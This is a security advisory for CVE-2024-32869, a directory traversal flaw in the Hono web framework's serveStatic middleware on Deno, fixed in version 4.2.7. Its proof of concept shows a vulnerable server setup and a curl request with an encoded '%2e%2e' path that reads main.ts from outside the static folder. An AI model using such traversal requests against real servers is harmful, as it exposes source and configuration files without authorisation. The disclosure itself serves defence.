Advisory

GHSA-3mpf-rcc7-5347

Also known as: CVE-2024-32869

Summary

Hono vulnerable to Restricted Directory Traversal in serveStatic with deno

Details

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial
https://hono.dev/getting-started/deno

PoC

$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
    └── a.txt

source

import { Hono } from 'https://deno.land/x/[email protected]/mod.ts'
import { serveStatic } from 'https://deno.land/x/[email protected]/middleware.ts'

const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2024-04-23 16:20 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

hono

npm · All systems

Affected

  • introduced 0, fixed 4.2.7 (semver)

Fixed versions

4.2.7

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences